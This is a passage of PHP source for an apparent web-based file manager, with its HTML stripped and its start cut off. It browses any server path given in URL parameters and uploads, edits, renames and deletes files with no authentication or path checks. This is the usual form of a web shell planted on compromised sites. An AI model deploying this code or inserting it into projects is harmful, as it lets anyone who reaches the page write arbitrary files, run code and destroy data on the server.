Writeable]"; } else { return "[Writeable]"; } } function formatSizeUnits($bytes) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir($_GET['p'])) { echo (""); } elseif (is_dir($_GET['p'])) { $p = $_GET['p']; } } elseif (isset($_GET['q'])) { if (!is_dir($_GET['q'])) { echo (""); } elseif (is_dir($_GET['q'])) { $p = $_GET['q']; } } else { $p = $root_path; } define("PATH", $p); echo (''); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo '
'; if (is_array($folders)) { foreach ($folders as $folder) { echo " "; } } else { echo ' '; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("Y-m-d G:i", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
None
" . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("Y-m-d G:i", filemtime(PATH . "/" . $file)) . " 0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . "
"; } else { if (empty($_GET)) { echo "
"; } } if (isset($_GET['upload'])) { echo '
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '
'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?>